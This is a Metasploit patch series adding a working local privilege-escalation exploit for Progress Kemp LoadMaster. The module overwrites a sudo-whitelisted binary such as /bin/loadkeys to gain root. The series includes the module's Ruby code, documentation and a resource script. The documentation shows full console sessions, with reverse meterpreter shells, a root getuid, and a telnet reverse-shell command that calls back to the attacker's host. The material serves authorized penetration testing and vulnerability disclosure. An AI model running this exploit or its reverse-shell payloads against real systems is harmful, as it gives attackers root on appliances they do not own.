From d94971598b07d90d41294abc75cc3bedc1d0b2d9 Mon Sep 17 00:00:00 2001 From: bwatters Date: Wed, 17 Apr 2024 13:52:14 -0500 Subject: [PATCH 1/5] Add documentation and fix some debug prints --- ...gress_kemp_loadmaster_sudo_privesc_2024.md | 101 ++++++++++++++++++ ...gress_kemp_loadmaster_sudo_privesc_2024.rb | 101 ++++++++++++++++++ ...ress_kemp_loadmaster_sudo_priv_esc_2024.rc | 0 3 files changed, 202 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md create mode 100644 modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb create mode 100644 scripts/resource/run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc diff --git a/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md b/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md new file mode 100644 index 000000000000..744e29960051 --- /dev/null +++ b/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md @@ -0,0 +1,101 @@ +## Vulnerable Application +Progress Kemp LoadMaster up to at least 7.2.59.2.22338. The vendor is aware of this "feature," but +has chosen not to change the behavior. It was originally paired with CVE-2024-1212, but as this +privilege escalation was not patched when CVE-2024-1212 was, we split it into its own module. +This exploit/feature allows the default `bal` user to run several binaries with the `sudo` prefix +that will elevate without prompting for a password. As the configuration is based on filename and +the `bal` user has write permissions to these files, the `bal` user can simply write over the existing +binary with one of their choosing, then prefix it with `sudo` and launch the binary with `root` +privileges. +This module defaults to overwrite `/bin/loadkeys` with `/bin/bash`, though other binaries would work, +too. + +For more details on the vulnerability: +https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/ + +https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212 + +A trial VM which the exploit should work against out of the box can be downloaded from: +https://sso.kemptechnologies.com/register/kemp/vlm + +The AWS marketplace also has free trials which can be used. These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth. +https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw + +## Verification Steps +1. Install the application +1. Start msfconsole +1. Gain a session on a Progress Kemp Loadmaster target as the `bal` user +1. Do: `use exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024` +1. Do: `set SESSION ` +1. Do: `set LHOST ` +1. Do: `run` +1. You should get a shell as the `root` user. + +## Scenarios + +### LoadMaster 7.2.59.0.22007 + +```msf +msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options + +Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024): + +Name Current Setting Required Description + ---- --------------- -------- ----------- +BINARY_RENAME /tmp/tEYych yes The temporary name to use to store the TARGET_BINARY. +SESSION 1 yes The session to run this module on +TARGET_BINARY /bin/loadkeys yes The path for a binary file that has permission to auto-elevate. +TEMP_PAYLOAD /tmp/DKFuC yes The temporary name to use to store the payload. + + +Payload options (linux/x64/meterpreter_reverse_tcp): + +Name Current Setting Required Description + ---- --------------- -------- ----------- +LHOST 10.5.135.201 yes The listen address (an interface may be specified) +LPORT 4444 yes The listen port + + +Exploit target: + +Id Name + -- ---- +0 Automatic + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > sessions + +Active sessions +=============== + +Id Name Type Information Connection + -- ---- ---- ----------- ---------- +1 meterpreter x64/linux bal @ 10.5.134.141 10.5.135.201:4444 -> 10.5.134.141:28848 (10.5.134.141) + +msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run + +[*] Started reverse TCP handler on 10.5.135.201:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Found 3 indicators this is a KEMP product +[!] The service is running, but could not be validated. +[*] Delete /tmp/tEYych +[*] Saving payload as /tmp/DKFuC +[*] Moving /bin/loadkeys to /tmp/tEYych +[*] Moving /bin/bash to /bin/loadkeys +[*] Launching payload +[+] Deleted /tmp/DKFuC +[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.134.141:28854) at 2024-04-17 13:37:14 -0500 + +meterpreter > sysinfo +Computer : 10.5.134.141 +OS : SuSE 7.2 (Linux 4.14.137) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +meterpreter > +``` \ No newline at end of file diff --git a/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb b/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb new file mode 100644 index 000000000000..ae28d4f07438 --- /dev/null +++ b/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb @@ -0,0 +1,101 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::File + + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kemp LoadMaster Local sudo privilege escalation', + 'Description' => %q{ + This module abuses a feature of the sudo command on Progress Kemp + LoadMaster. Certain binary files are allowed to automatically elevate + with the sudo command. This is based off of the file name. Some files + have this permission are not write-protected from the default 'bal' user. + As such, if the file is overwritten with an arbitrary file, it will still + auto-elevate. This module overwrites the /bin/loadkeys file with another + executable. + }, + 'Author' => [ + 'Dave Yesland with Rhino Security Labs', + 'bwatters-r7' # module, + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'], + ['URL', 'https://kemptechnologies.com/kemp-load-balancers'] + ], + 'DisclosureDate' => '2024-03-19', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'Reliability' => [ REPEATABLE_SESSION ] + }, + 'SessionTypes' => ['shell', 'meterpreter'], + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Automatic', {}]], + 'Privileged' => true, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' + } + ) + ) + register_options([ + OptString.new('TARGET_BINARY', [true, 'The path for a binary file that has permission to auto-elevate.', '/bin/loadkeys']), + OptString.new('BINARY_RENAME', [true, 'The temporary name to use to store the TARGET_BINARY.', '/tmp/' + Rex::Text.rand_text_alpha(5..9) ]), + OptString.new('TEMP_PAYLOAD', [true, 'The temporary name to use to store the payload.', '/tmp/' + Rex::Text.rand_text_alpha(5..9) ]), + ]) + end + + def check + score = 0 + score += 1 if read_file('/usr/wui/index.js').include?('KEMP') + score += 1 if read_file('/etc/motd').include?('Kemp LoadMaster') + score += 1 if exists?('/usr/wui/eula.kemp.html') + vprint_status("Found #{score} indicators this is a KEMP product") + return CheckCode::Detected if score > 0 + + return CheckCode::Safe + end + + def exploit + vprint_status("Delete #{datastore['BINARY_RENAME']}") + if exists?(datastore['BINARY_RENAME']) + fail_with(Msf::Module::Failure::BadConfig, "#{datastore['BINARY_RENAME']} exists on host; chose another name.") + end + if exists?(datastore['TEMP_PAYLOAD']) + fail_with(Msf::Module::Failure::BadConfig, "#{datastore['TEMP_PAYLOAD']} exists on host; chose another name.") + end + + begin + vprint_status("Saving payload as #{datastore['TEMP_PAYLOAD']}") + write_file(datastore['TEMP_PAYLOAD'], generate_payload_exe) + chmod(datastore['TEMP_PAYLOAD']) + register_file_for_cleanup(datastore['TEMP_PAYLOAD']) + + vprint_status("Moving #{datastore['TARGET_BINARY']} to #{datastore['BINARY_RENAME']}") + cmd_exec("sudo /bin/cp #{datastore['TARGET_BINARY']} #{datastore['BINARY_RENAME']}") + + vprint_status("Moving /bin/bash to #{datastore['TARGET_BINARY']}") + cmd_exec("sudo /bin/cp /bin/bash #{datastore['TARGET_BINARY']}") + + vprint_status('Launching payload') + cmd_exec("sudo #{datastore['TARGET_BINARY']} -c #{datastore['TEMP_PAYLOAD']}") + ensure + if exists?(datastore['BINARY_RENAME']) + cmd_exec("sudo /bin/cp #{datastore['BINARY_RENAME']} #{datastore['TARGET_BINARY']}") + cmd_exec("sudo /bin/rm #{datastore['BINARY_RENAME']}") + end + end + end +end diff --git a/scripts/resource/run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc b/scripts/resource/run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc new file mode 100644 index 000000000000..e69de29bb2d1 From 742326ae9085e1257e9491a9105aadac3bf9b622 Mon Sep 17 00:00:00 2001 From: bwatters Date: Wed, 17 Apr 2024 14:00:32 -0500 Subject: [PATCH 2/5] Actually add script contents --- .../run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/scripts/resource/run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc b/scripts/resource/run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc index e69de29bb2d1..1f6728de29c8 100644 --- a/scripts/resource/run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc +++ b/scripts/resource/run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc @@ -0,0 +1,8 @@ + +print_status("Running Progress Kemp Loadmaster sudo Privilege Escalation") +run_single("use modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024") +run_single("set session -1") +session_lhost = framework.sessions[framework.sessions.keys.last].tunnel_local.split(':')[0..-2].join(':') +run_single("set lhost #{session_lhost}") +run_single("run") + \ No newline at end of file From b044bcab012f1020954901086d69a509131f085e Mon Sep 17 00:00:00 2001 From: bwatters Date: Fri, 3 May 2024 13:06:16 -0500 Subject: [PATCH 3/5] Add command payloads and checks for overwritten files --- ...gress_kemp_loadmaster_sudo_privesc_2024.md | 133 ++++++++++++++---- ...gress_kemp_loadmaster_sudo_privesc_2024.rb | 118 ++++++++++++---- 2 files changed, 193 insertions(+), 58 deletions(-) diff --git a/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md b/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md index 744e29960051..c9d02c26b82b 100644 --- a/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md +++ b/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md @@ -21,6 +21,8 @@ https://sso.kemptechnologies.com/register/kemp/vlm The AWS marketplace also has free trials which can be used. These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth. https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw +Because this is an appliance, there are limited commands available for command-based payloads. + ## Verification Steps 1. Install the application 1. Start msfconsole @@ -34,60 +36,51 @@ https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw ## Scenarios ### LoadMaster 7.2.59.0.22007 - +#### Metasploit Binary Dropper Payload ```msf msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024): -Name Current Setting Required Description + Name Current Setting Required Description ---- --------------- -------- ----------- -BINARY_RENAME /tmp/tEYych yes The temporary name to use to store the TARGET_BINARY. -SESSION 1 yes The session to run this module on -TARGET_BINARY /bin/loadkeys yes The path for a binary file that has permission to auto-elevate. -TEMP_PAYLOAD /tmp/DKFuC yes The temporary name to use to store the payload. + SESSION 1 yes The session to run this module on + TARGET_BINARY /bin/loadkeys yes The path for a binary file that has permission to auto-elevate. + WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter_reverse_tcp): -Name Current Setting Required Description + Name Current Setting Required Description ---- --------------- -------- ----------- -LHOST 10.5.135.201 yes The listen address (an interface may be specified) -LPORT 4444 yes The listen port + LHOST 10.5.135.201 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port Exploit target: -Id Name + Id Name -- ---- -0 Automatic + 0 Dropper View the full module info with the info, or info -d command. -msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > sessions - -Active sessions -=============== - -Id Name Type Information Connection - -- ---- ---- ----------- ---------- -1 meterpreter x64/linux bal @ 10.5.134.141 10.5.135.201:4444 -> 10.5.134.141:28848 (10.5.134.141) - msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run -[*] Started reverse TCP handler on 10.5.135.201:4444 +[*] Started reverse TCP handler on 10.5.135.201:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Found 3 indicators this is a KEMP product [!] The service is running, but could not be validated. -[*] Delete /tmp/tEYych -[*] Saving payload as /tmp/DKFuC -[*] Moving /bin/loadkeys to /tmp/tEYych -[*] Moving /bin/bash to /bin/loadkeys -[*] Launching payload -[+] Deleted /tmp/DKFuC -[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.134.141:28854) at 2024-04-17 13:37:14 -0500 +[*] Execute dropper +[*] Moving /bin/loadkeys to /tmp/.xcglzfitgpg +[*] Moving /tmp/.feooibtpp to /bin/loadkeys +[*] Running /bin/loadkeys +[+] Deleted /tmp/.feooibtpp +[*] Meterpreter session 8 opened (10.5.135.201:4444 -> 10.5.134.141:28858) at 2024-05-03 12:05:12 -0500 +[*] Moving /tmp/.xcglzfitgpg to /bin/loadkeys +[+] /bin/loadkeys returned to original contents meterpreter > sysinfo Computer : 10.5.134.141 @@ -98,4 +91,88 @@ Meterpreter : x64/linux meterpreter > getuid Server username: root meterpreter > + + +``` + +#### Reverse Bash Command Payload +```msf +msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options + +Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION 1 yes The session to run this module on + TARGET_BINARY /bin/loadkeys yes The path for a binary file that has permission to auto-elevate. + WRITABLE_DIR /tmp yes A directory where we can write files + + +Payload options (cmd/unix/reverse_awk): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.5.135.201 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 1 Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run + +[*] Started reverse TCP handler on 10.5.135.201:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Found 3 indicators this is a KEMP product +[!] The service is running, but could not be validated. +[*] Execute command +[*] Moving /bin/loadkeys to /tmp/.twqrvjasafa +[*] Moving /bin/bash to /bin/loadkeys +[*] Running payload command +[*] Command shell session 7 opened (10.5.135.201:4444 -> 10.5.134.141:16589) at 2024-05-03 12:02:00 -0500 +[*] +[*] Moving /tmp/.twqrvjasafa to /bin/loadkeys +[+] /bin/loadkeys returned to original contents + +ls +azurelinuxagent +bin +cgroup +dev +dmZPnkPUPoV +etc +initial_setup.sh +lib +lib64 +lost+found +mnt +one4net +openssl +proc +root +sbin +sks +sys +tmp +user +usr +var +touch tempfile +ls -l +total 51 +drwxr-xr-x 5 root root 1024 Mar 22 2023 azurelinuxagent +. +. +. +-rw-r--r-- 1 root root 0 May 3 17:02 tempfile +. +. +drwxr-xr-x 12 root root 1024 Mar 21 17:29 var ``` \ No newline at end of file diff --git a/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb b/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb index ae28d4f07438..606c42a66705 100644 --- a/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb +++ b/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb @@ -42,18 +42,43 @@ def initialize(info = {}) }, 'SessionTypes' => ['shell', 'meterpreter'], 'Platform' => ['unix', 'linux'], - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [['Automatic', {}]], - 'Privileged' => true, - 'DefaultOptions' => { - 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' - } + 'Targets' => [ + [ + 'Dropper', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :dropper, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' + } + } + ], + [ + 'Command', + { + 'Arch' => [ARCH_CMD], + 'Type' => :command, + 'Payload' => + { + 'BadChars' => "\x27", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic gawk telnet ssh echo' + } + }, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse' + } + } + ] + ], + 'Privileged' => true ) ) register_options([ OptString.new('TARGET_BINARY', [true, 'The path for a binary file that has permission to auto-elevate.', '/bin/loadkeys']), - OptString.new('BINARY_RENAME', [true, 'The temporary name to use to store the TARGET_BINARY.', '/tmp/' + Rex::Text.rand_text_alpha(5..9) ]), - OptString.new('TEMP_PAYLOAD', [true, 'The temporary name to use to store the payload.', '/tmp/' + Rex::Text.rand_text_alpha(5..9) ]), + OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]) ]) end @@ -68,34 +93,67 @@ def check return CheckCode::Safe end - def exploit - vprint_status("Delete #{datastore['BINARY_RENAME']}") - if exists?(datastore['BINARY_RENAME']) - fail_with(Msf::Module::Failure::BadConfig, "#{datastore['BINARY_RENAME']} exists on host; chose another name.") - end - if exists?(datastore['TEMP_PAYLOAD']) - fail_with(Msf::Module::Failure::BadConfig, "#{datastore['TEMP_PAYLOAD']} exists on host; chose another name.") + def verify_copy(src, dest, elevate) + orig_file_hash = file_remote_digestmd5(src) + vprint_status("Moving #{src} to #{dest}") + if elevate + output = cmd_exec("sudo /bin/cp '#{src}' '#{dest}'") + else + output = cmd_exec("/bin/cp '#{src}' '#{dest}'") end + return true if file_remote_digestmd5(dest) == orig_file_hash - begin - vprint_status("Saving payload as #{datastore['TEMP_PAYLOAD']}") - write_file(datastore['TEMP_PAYLOAD'], generate_payload_exe) - chmod(datastore['TEMP_PAYLOAD']) - register_file_for_cleanup(datastore['TEMP_PAYLOAD']) + print_bad("Copy failed - #{output}") + false + end + + def execute_dropper(target_binary, binary_rename, temp_payload_path) + vprint_status('Execute dropper') + write_file(temp_payload_path, generate_payload_exe) + chmod(temp_payload_path) + register_file_for_cleanup(temp_payload_path) + return unless verify_copy(target_binary, binary_rename, false) + return unless verify_copy(temp_payload_path, target_binary, true) - vprint_status("Moving #{datastore['TARGET_BINARY']} to #{datastore['BINARY_RENAME']}") - cmd_exec("sudo /bin/cp #{datastore['TARGET_BINARY']} #{datastore['BINARY_RENAME']}") + vprint_status("Running #{target_binary}") + cmd_exec("sudo '#{target_binary}'") + end - vprint_status("Moving /bin/bash to #{datastore['TARGET_BINARY']}") - cmd_exec("sudo /bin/cp /bin/bash #{datastore['TARGET_BINARY']}") + def execute_command(target_binary, binary_rename, cmd) + vprint_status('Execute command') + # save copy of target_binary + return unless verify_copy(target_binary, binary_rename, false) + return unless verify_copy('/bin/bash', target_binary, true) - vprint_status('Launching payload') - cmd_exec("sudo #{datastore['TARGET_BINARY']} -c #{datastore['TEMP_PAYLOAD']}") - ensure - if exists?(datastore['BINARY_RENAME']) - cmd_exec("sudo /bin/cp #{datastore['BINARY_RENAME']} #{datastore['TARGET_BINARY']}") - cmd_exec("sudo /bin/rm #{datastore['BINARY_RENAME']}") + vprint_status('Running payload command') + vprint_status(cmd_exec("sudo #{target_binary} -c '#{cmd}'")) + end + + def exploit + writable_dir = datastore['WRITABLE_DIR'] + if writable_dir.blank? || (writable_dir[-1] != '/') + writable_dir += '/' + end + target_binary = datastore['TARGET_BINARY'] + binary_rename = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}" + target_binary_hash = file_remote_digestmd5(target_binary) + begin + case target['Type'] + when :dropper + temp_payload = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}" + execute_dropper(target_binary, binary_rename, temp_payload) + when :command + execute_command(target_binary, binary_rename, payload.encoded) end + ensure + cmd_exec("sudo rm '#{target_binary}'") + verify_copy(binary_rename, target_binary, true) + cmd_exec("sudo rm '#{binary_rename}'") + end + if target_binary_hash == file_remote_digestmd5(target_binary) + print_good("#{target_binary} returned to original contents") + else + print_bad("#{target_binary} was not returned to original contents") end end end From 948b18b08c1ae88e85eab16b127d890351e06ffe Mon Sep 17 00:00:00 2001 From: bwatters Date: Thu, 9 May 2024 15:52:29 -0500 Subject: [PATCH 4/5] Add a check to the file delete --- .../local/progress_kemp_loadmaster_sudo_privesc_2024.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb b/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb index 606c42a66705..ed2a76d3168c 100644 --- a/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb +++ b/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb @@ -146,9 +146,11 @@ def exploit execute_command(target_binary, binary_rename, payload.encoded) end ensure - cmd_exec("sudo rm '#{target_binary}'") - verify_copy(binary_rename, target_binary, true) - cmd_exec("sudo rm '#{binary_rename}'") + unless target_binary_hash == file_remote_digestmd5(target_binary) + cmd_exec("sudo rm '#{target_binary}'") + verify_copy(binary_rename, target_binary, true) + cmd_exec("sudo rm '#{binary_rename}'") + end end if target_binary_hash == file_remote_digestmd5(target_binary) print_good("#{target_binary} returned to original contents") From b28e263a2bc51f53baa57844f53ab6582daa31d7 Mon Sep 17 00:00:00 2001 From: bwatters Date: Fri, 10 May 2024 08:54:23 -0500 Subject: [PATCH 5/5] Update debug statements and add protection against bad die name --- ...gress_kemp_loadmaster_sudo_privesc_2024.md | 34 ++++++++++++------- ...gress_kemp_loadmaster_sudo_privesc_2024.rb | 5 +-- 2 files changed, 25 insertions(+), 14 deletions(-) diff --git a/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md b/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md index c9d02c26b82b..798e8a0e9148 100644 --- a/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md +++ b/documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md @@ -73,13 +73,13 @@ msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run [*] Running automatic check ("set AutoCheck false" to disable) [*] Found 3 indicators this is a KEMP product [!] The service is running, but could not be validated. -[*] Execute dropper -[*] Moving /bin/loadkeys to /tmp/.xcglzfitgpg -[*] Moving /tmp/.feooibtpp to /bin/loadkeys +[*] Writing payload to /tmp/.rypuliojtdch +[*] Moving /bin/loadkeys to /tmp/.qyiojnfbnfc +[*] Moving /tmp/.rypuliojtdch to /bin/loadkeys [*] Running /bin/loadkeys -[+] Deleted /tmp/.feooibtpp -[*] Meterpreter session 8 opened (10.5.135.201:4444 -> 10.5.134.141:28858) at 2024-05-03 12:05:12 -0500 -[*] Moving /tmp/.xcglzfitgpg to /bin/loadkeys +[+] Deleted /tmp/.rypuliojtdch +[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.134.141:28850) at 2024-05-10 08:50:39 -0500 +[*] Moving /tmp/.qyiojnfbnfc to /bin/loadkeys [+] /bin/loadkeys returned to original contents meterpreter > sysinfo @@ -108,7 +108,7 @@ Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024): WRITABLE_DIR /tmp yes A directory where we can write files -Payload options (cmd/unix/reverse_awk): +Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -128,17 +128,27 @@ View the full module info with the info, or info -d command. msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run -[*] Started reverse TCP handler on 10.5.135.201:4444 +[+] sh -c '(sleep 4376|telnet 10.5.135.201 4444|while : ; do sh && break; done 2>&1|telnet 10.5.135.201 4444 >/dev/null 2>&1 &)' +[*] Started reverse TCP double handler on 10.5.135.201:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Found 3 indicators this is a KEMP product [!] The service is running, but could not be validated. -[*] Execute command -[*] Moving /bin/loadkeys to /tmp/.twqrvjasafa +[*] Preparing payload command +[*] Moving /bin/loadkeys to /tmp/.mnqdvfwutfd [*] Moving /bin/bash to /bin/loadkeys [*] Running payload command -[*] Command shell session 7 opened (10.5.135.201:4444 -> 10.5.134.141:16589) at 2024-05-03 12:02:00 -0500 +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo igZFhKRnh9GplIdu; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket A +[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\nigZFhKRnh9GplIdu\r\n" [*] -[*] Moving /tmp/.twqrvjasafa to /bin/loadkeys +[*] Moving /tmp/.mnqdvfwutfd to /bin/loadkeys +[*] Matching... +[*] B is input... [+] /bin/loadkeys returned to original contents ls diff --git a/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb b/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb index ed2a76d3168c..de18ca4d2df0 100644 --- a/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb +++ b/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb @@ -108,7 +108,7 @@ def verify_copy(src, dest, elevate) end def execute_dropper(target_binary, binary_rename, temp_payload_path) - vprint_status('Execute dropper') + vprint_status("Writing payload to #{temp_payload_path}") write_file(temp_payload_path, generate_payload_exe) chmod(temp_payload_path) register_file_for_cleanup(temp_payload_path) @@ -120,7 +120,7 @@ def execute_dropper(target_binary, binary_rename, temp_payload_path) end def execute_command(target_binary, binary_rename, cmd) - vprint_status('Execute command') + vprint_status('Preparing payload command') # save copy of target_binary return unless verify_copy(target_binary, binary_rename, false) return unless verify_copy('/bin/bash', target_binary, true) @@ -134,6 +134,7 @@ def exploit if writable_dir.blank? || (writable_dir[-1] != '/') writable_dir += '/' end + fail_with(Failure::BadConfig, "Invalid WRITABLE_DIR: #{writable_dir}") unless directory?(writable_dir) target_binary = datastore['TARGET_BINARY'] binary_rename = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}" target_binary_hash = file_remote_digestmd5(target_binary)